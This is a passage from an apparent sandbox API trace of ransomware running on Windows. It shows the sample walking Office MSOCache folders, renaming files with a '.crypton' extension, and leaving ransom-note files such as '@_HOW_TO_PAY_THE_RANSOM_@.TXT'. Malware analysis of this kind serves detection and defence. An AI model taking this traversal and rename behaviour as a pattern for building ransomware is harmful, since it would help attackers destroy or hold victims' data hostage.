Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.crypton"), dwFlags=0x2) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x556dc8 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae90 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.296] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.296] AreFileApisANSI () returned 1 [0069.296] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x55ae28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 83 [0069.297] AreFileApisANSI () returned 1 [0069.297] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", nBufferLength=0x104, lpBuffer=0x4ab0f8, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml", lpFilePart=0x0) returned 0x51 [0069.297] GetLastError () returned 0x2 [0069.297] FindNextFileA (in: hFindFile=0x5497d0, lpFindFileData=0x4ab3c8 | out: lpFindFileData=0x4ab3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x54a678, dwReserved1=0x4ab240, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0069.297] FindClose (in: hFindFile=0x5497d0 | out: hFindFile=0x5497d0) returned 1 [0069.297] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x40650500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x40650500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf0126df0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Proofing.msi", cAlternateFileName="")) returned 1 [0069.297] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x3d000439, cFileName="Proofing.xml", cAlternateFileName="")) returned 1 [0069.297] AreFileApisANSI () returned 1 [0069.297] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.299] AreFileApisANSI () returned 1 [0069.299] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.299] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proofing.xml.crypton"), dwFlags=0x2) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.299] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.300] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.300] AreFileApisANSI () returned 1 [0069.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 77 [0069.300] AreFileApisANSI () returned 1 [0069.300] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proofing.xml", lpFilePart=0x0) returned 0x4b [0069.300] GetLastError () returned 0x2 [0069.300] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.300] AreFileApisANSI () returned 1 [0069.300] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.305] AreFileApisANSI () returned 1 [0069.305] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.305] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.306] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.306] AreFileApisANSI () returned 1 [0069.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.306] AreFileApisANSI () returned 1 [0069.306] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.306] GetLastError () returned 0x2 [0069.306] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.306] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.306] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc3e6570, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc3e6570, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0043-0409-1000-0000000FF1CE}-C", cAlternateFileName="{95310~1")) returned 1 [0069.306] AreFileApisANSI () returned 1 [0069.306] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.520] AreFileApisANSI () returned 1 [0069.520] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.521] AreFileApisANSI () returned 1 [0069.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.522] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6cb1a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cb1a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc138cb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6cb1a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cb1a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cb1a80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cb1a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cb1a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cb1a80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cb1a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cb1a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cb1a80, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cb1a80, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cb1a80, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5600, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32MUI.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1 [0069.522] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc138cb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x567, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="Office32MUI.xml", cAlternateFileName="OFFICE~1.XML")) returned 1 [0069.523] AreFileApisANSI () returned 1 [0069.523] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.525] AreFileApisANSI () returned 1 [0069.525] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.525] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.crypton"), dwFlags=0x2) returned 1 [0069.525] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533d90 | out: hHeap=0x510000) returned 1 [0069.526] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5438b8 | out: hHeap=0x510000) returned 1 [0069.526] AreFileApisANSI () returned 1 [0069.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 80 [0069.526] AreFileApisANSI () returned 1 [0069.526] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml", lpFilePart=0x0) returned 0x4e [0069.526] GetLastError () returned 0x2 [0069.526] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0069.526] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0069.526] AreFileApisANSI () returned 1 [0069.526] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.529] AreFileApisANSI () returned 1 [0069.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x4ac2e0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.529] MoveFileExW (lpExistingFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.crypton" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.crypton"), dwFlags=0x2) returned 1 [0069.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54a680 | out: hHeap=0x510000) returned 1 [0069.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x536b88 | out: hHeap=0x510000) returned 1 [0069.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55ae28 | out: hHeap=0x510000) returned 1 [0069.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x544bf0 | out: hHeap=0x510000) returned 1 [0069.529] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x533de0 | out: hHeap=0x510000) returned 1 [0069.529] AreFileApisANSI () returned 1 [0069.529] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x544bf0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0069.530] AreFileApisANSI () returned 1 [0069.530] GetFullPathNameW (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", nBufferLength=0x104, lpBuffer=0x4abaa0, lpFilePart=0x0 | out: lpBuffer="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml", lpFilePart=0x0) returned 0x48 [0069.530] GetLastError () returned 0x2 [0069.530] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0x300030, dwReserved1=0x460046, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0069.530] FindClose (in: hFindFile=0x549750 | out: hFindFile=0x549750) returned 1 [0069.530] FindNextFileA (in: hFindFile=0x549790, lpFindFileData=0x4ac718 | out: lpFindFileData=0x4ac718*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa13c510, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x3000201, cFileName="{90140000-0044-0409-1000-0000000FF1CE}-C", cAlternateFileName="{91454~1")) returned 1 [0069.530] AreFileApisANSI () returned 1 [0069.530] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.533] AreFileApisANSI () returned 1 [0069.533] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 94 [0069.534] AreFileApisANSI () returned 1 [0069.534] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x51ff00, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0069.535] FindFirstFileA (in: lpFileName="C:\\\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6cd7be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cd7be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName=".", cAlternateFileName="")) returned 0x549750 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa6cd7be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cd7be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="..", cAlternateFileName="")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cd7be0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cd7be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cd7be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_FILES_WERE_ENCRYPTED_@.TXT", cAlternateFileName="@_FILE~1.TXT")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cd7be0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cd7be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cd7be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_DECRYPT_FILES_@.TXT", cAlternateFileName="@_HOW_~2.TXT")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6cd7be0, ftCreationTime.dwHighDateTime=0x1d5c259, ftLastAccessTime.dwLowDateTime=0xa6cd7be0, ftLastAccessTime.dwHighDateTime=0x1d5c259, ftLastWriteTime.dwLowDateTime=0xa6cd7be0, ftLastWriteTime.dwHighDateTime=0x1d5c259, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="@_HOW_TO_PAY_THE_RANSOM_@.TXT", cAlternateFileName="@_HOW_~1.TXT")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0069.535] FindNextFileA (in: hFindFile=0x549750, lpFindFileData=0x4abd70 | out: lpFindFileData=0x4abd70*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e58f90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2fac00, dwReserved0=0x0, dwReserved1=0x31000839, cFileName="InfoPathMUI.msi", 